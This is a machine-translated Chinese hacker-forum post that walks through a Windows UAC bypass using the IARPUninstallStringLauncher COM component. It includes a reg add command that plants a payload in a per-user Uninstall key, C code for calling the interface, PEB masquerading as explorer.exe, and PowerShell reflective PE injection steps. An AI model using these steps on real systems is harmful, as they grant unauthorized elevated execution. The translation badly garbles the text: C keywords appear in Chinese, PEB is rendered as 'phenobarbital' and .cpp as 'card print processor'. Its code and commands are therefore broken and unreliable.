跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

在上一篇文章《通过COM组件NetFwPolicy2越权关闭防火墙》中验证了结论:对于explorer.exe(或者模拟为explorer . exe),加载高权限的COM组件不会弹出UAC的对话框。同时介绍了如何在注册表中查找可以高权限运行的COM组件。

这一次,我们将继续介绍另一个可用的COM组件。

我在搜索HKEY _本地_机器\软件\类\ clsid \ { FCC 74 b 77-ec3e-4d 8-a80b-008 a 702075 a 9 }时,得到的名字是ARP UninstallString Launcher。

经过进一步搜索,发现ExpLife已经公开了该COM组件的使用方法,地址如下:

http://www.freebuf.com/articles/system/116611.html

感谢ExpLife的分享,缩短了我的研究时间,所以本文将着重分析原理,并在此基础上介绍更多的利用方式。

0x01 简介

本文将介绍以下内容:

现在,通过COM组件IARPUninstallStringLauncher绕过UAC的方法又重复了一遍。

利用率分析

更多的利用方式

0x02 复现通过COM组件IARPUninstallStringLauncher绕过UAC的方法

ExpLife从找到不会弹出UAC对话框的函数开始,通过逆向找到可用的COM组件。

我的想法是先找到支持特权提升的COM组件,再找到这个COM组件对应的函数。

这两种方法各有优缺点:

ExpLife的方法需要对系统有足够的了解,才能找到不会弹出UAC对话框的函数。

我的方法可以找到一些不常用的COM组件,这些组件的功能可能平时很难接触到。

但是使用Explife的方法,如果找到一个函数,使用动态断点和静态分析来逆向COM组件会非常高效。

但是我用的方法只能通过注册表的键值内容做出大概的判断,还需要进一步查找定位具体的COM组件,效率很低。

两种方法可以结合使用,但最重要的一点是,找到的COM组件不仅要能提高权限,还要能执行程序(或其他有用的功能)。

让我们从利用率原则开始:

1、“偷偷”绕过UAC

在之前的文章《渗透基础——获得当前系统已安装的程序列表》中提到,控制面板-程序-程序和功能中的程序列表对应于以下注册表键值:

注册表项HKEY _本地_机器\软件\微软\ windows \当前版本\卸载\

注册表项HKEY _当前_用户\软件\微软\ windows \当前版本\卸载\(实际上是HKEY _用户\ [SID] \软件\微软\ windows \当前版本\卸载\)

当卸载一个程序时,对应于该程序的注册表项将被同时删除。

但是当我们删除一个高权限的程序时,HKEY_LOCAL_MACHINE\下的键值会被删除。正常情况下,会弹出UAC对话框,但实际上并不存在。在这里,可以判断系统“秘密地”绕过了UAC。

如果我们能模拟这一功能,我们也可以在UAC“潜行”。

2、执行程序

在注册表项Uninstall下,有一个名为“UninstallString”的项,它包含要执行的命令。

如果用payload代替,可以实现高特权执行,即UAC绕过并执行任意程序。

以上两点的结合满足了通过COM组件绕过UAC的必要条件。

所以接下来就是模拟卸载程序的功能了。

ExpLife,逆向分析过程和模拟卸载的作用,在他的文章里已经写的很详细了,这里不再赘述。

文中引用的分析:

卸载程序是通过调用IARPUninstallStringLauncher组件中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法来实现的。

关键代码如下:

CLSID clsid

IID iid;

LPVOID ppv=NULL

HRESULT hr

PFN _ IARPUninstallStringLauncher _ launchinstallstringandwait pfn _ launchinstallstringandwait=NULL;

PFN _ IARPUninstallStringLauncher _ Release pfn _ IARPUninstallStringLauncher _ Release=NULL;

if(IIDFromString(L ' { FCC 74 b 77-EC3E-4dd 8-A80B-008 a 702075 a 9 } ',clsid) ||

IIDFromString(L ' { f 885120 e-3789-4fd 9-865 e-DC 9 b4a 6412d 2 } ',iid))

返回0;

共初始化(NULL);

如果(成功(小时))

{

pfn _ launchinstallstringandwait=(PFN _ IARPUninstallStringLauncher _ launchinstallstringandwait)(*(DWORD *)(*(DWORD *)PPV 12));

pfn _ IARPUninstallStringLauncher _ Release=(PFN _ IARPUninstallStringLauncher _ Release)(*(DWORD *)(*(DWORD *)PPV 8));

if(pfn _ launchsinstallstringandwait pfn _ IARPUninstallStringLauncher _ Release)

{

pfn _ launchunstallstringandwait((LPVOID *)PPV,0,L ' { 18 e78d 31-BBCC-4e6f-A21D-0 a15 BBC 62d 49 } ',0,NULL);

pfn _ IARPUninstallStringLauncher _ Release((LP void *)PPV);

}

}

coun initialize();

返回0;

其中{ 18e 78d 31-BBCC-4e6f-A21D-0 a15 BBC 62d 49 } '对应注册表从计算机上卸载下的键名称

所以我们需要提前在注册表从计算机上卸载下新建一个键

由于是绕过UAC,代表我们还没有管理员权限,因此无法操作注册表HKEY _本地_机器

所以只能操作注册表HKEY _当前_用户

通过煤矿管理局新建注册表项,并添加有效载荷,命令如下:

注册地址' HKEY _当前用户\软件\微软\ Windows \当前版本\卸载\有效负载/v卸载string/t REG _ SZ/d ' c:\ Windows \ system32 \ calc。exe '/f

实际创建的位置为HKEY _用户\[sid]\软件\微软\ Windows \当前版本\卸载\有效负载,如下图

2-1.png

注:

如果想要自己在注册表界面新建键值进行测试,创建的位置为HKEY _用户\[sid]\,而不是HKEY _当前_用户

接下来,还需要做的是修改当前进程的戊巴比妥结构,欺骗PSAPI,将当前进程模拟为explorer.exe,这样就能够"偷偷"绕过UAC,不会弹框

可供参考的地址:

https://github。COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/masqueradepeb。卡片打印处理机(Card Print Processor的缩写)

将以上代码整合,完整的实现代码如下:

https://github。COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/iarpuninstallstringlauncher。卡片打印处理机(Card Print Processor的缩写)

补充:

对于计算机输出缩微胶片组件IARPUninstallStringLauncher,在执行"卸载字符串"时,只有启动的程序结束以后当前进程才会自动退出

0x03 更多利用方式

关于更多利用方式,指的是模拟成白名单进程的方法

0x02的实例是修改当前进程戊巴比妥结构,将当前进程模拟为explorer.exe

当然也可以直接用探索生活的两个方法:dll注入和通过rundll32加载动态链接库

这里再给出一个利用方式:通过Powershell调用计算机输出缩微胶片组件,默认powershell.exe是可信进程,所以也不会弹出UAC的对话框

这里需要使用powershell脚本调用反射PE注入。PS1,下载地址:

https://github。com/powershell mafia/powers loit/blob/master/code execution/Invoke-reflective peinject。PS1

提供的一个功能是在powershell的内存中加载可执行程序的扩展名

为了使我们的程序扩展性更强,将源代码改成支持传入参数的方式,参数为要读取的注册表项,完整代码如下:

https://github。COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/IARPUninstallStringLauncher(argv).卡片打印处理机(卡片打印处理器的缩写)

接着使用调用-反射PE注入。PS1封装exe,并传入参数,powershell的代码如下:

$PEBytes=[IO .file]:读取所有字节(' c:\ \ test \ \ iarpuninstallstringlauncher。exe’)

“调用-反射PE注入-PE字节$ PE字节-exe参数”有效负载'

其中参数有效载荷对应注册表项HKEY _用户\[sid]\软件\微软\ Windows \当前版本\卸载\有效负载,其中的键"卸载字符串"存储要执行的程序路径

如下图

3-1.png

通过powershell执行调用反射PE注入。PS1,在powershell.exe的内存中加载IARPUninstallStringLauncher.exe,以高权限调用计算机输出缩微胶片组件,由于powershell.exe为可信进程,所以能够直接绕过UAC

注:

实际测试的一个小bug,在执行完有效载荷后,powershell进程在退出时会弹框报错,提示内存不可读,如下图

3-2.png

一个最简单的解决方法:

在脚本主要的函数末尾加一

如下图

3-3.png

完整利用方式:

1、新建注册表,并写入要执行的程序路径,命令如下:

注册地址' HKEY _当前用户\软件\微软\ Windows \当前版本\卸载\有效负载/v卸载string/t REG _ SZ/d ' c:\ Windows \ system32 \ calc。exe '/f

2、编译IARPUninstallStringLauncher.exe

源码地址:

https://github。COM/3g student/Use-COM-objects-to-bypass-UAC/blob/master/IARPUninstallStringLauncher(argv).卡片打印处理机(卡片打印处理器的缩写)

3.通过powershell脚本加载exe并传入参数。powershell命令如下:

$PEBytes=[IO。file]:read all bytes(' c:\ \ test \ \ iarpuninstallstringlauncher . exe ')

invoke-reflective PE injection-PE bytes $ PE bytes-exe args '有效负载'

注:

记得在原脚本Main函数的末尾加1,防止报错。

0x04 小结

介绍了通过COM组件IARPUninstallStringLauncher绕过UAC的方法,并分享了各种利用方式(修改PEB模拟explorer.exe,用powershell.exe加载exe)。得出结论,只要使用可信进程(如explorer.exe和powershell.exe),加载高权限COM组件时不会弹出UAC的对话框。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。